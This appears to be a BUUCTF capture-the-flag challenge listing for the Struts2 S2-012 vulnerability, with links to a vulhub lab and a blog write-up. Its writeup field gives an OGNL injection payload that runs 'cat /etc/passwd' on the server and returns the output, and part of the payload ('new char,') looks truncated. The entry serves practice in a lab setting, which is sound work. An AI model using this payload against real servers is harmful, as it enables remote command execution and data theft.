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[struts2]s2-012

 广告模块
ID: 7452
标题: [struts2]s2-012
描述: https://github.com/vulhub/vulhub/tree/master/struts2/s2-012
类型: Real
网站: BUUCTF
题目链接: https://buuoj.cn/challenges#[struts2]s2-012
赛事: struts2
年度: None
Flag值:
writeup: 验证后的网址
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char,#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
https://blog.csdn.net/hiahiachang/article/details/105697178
答案错误,我要更正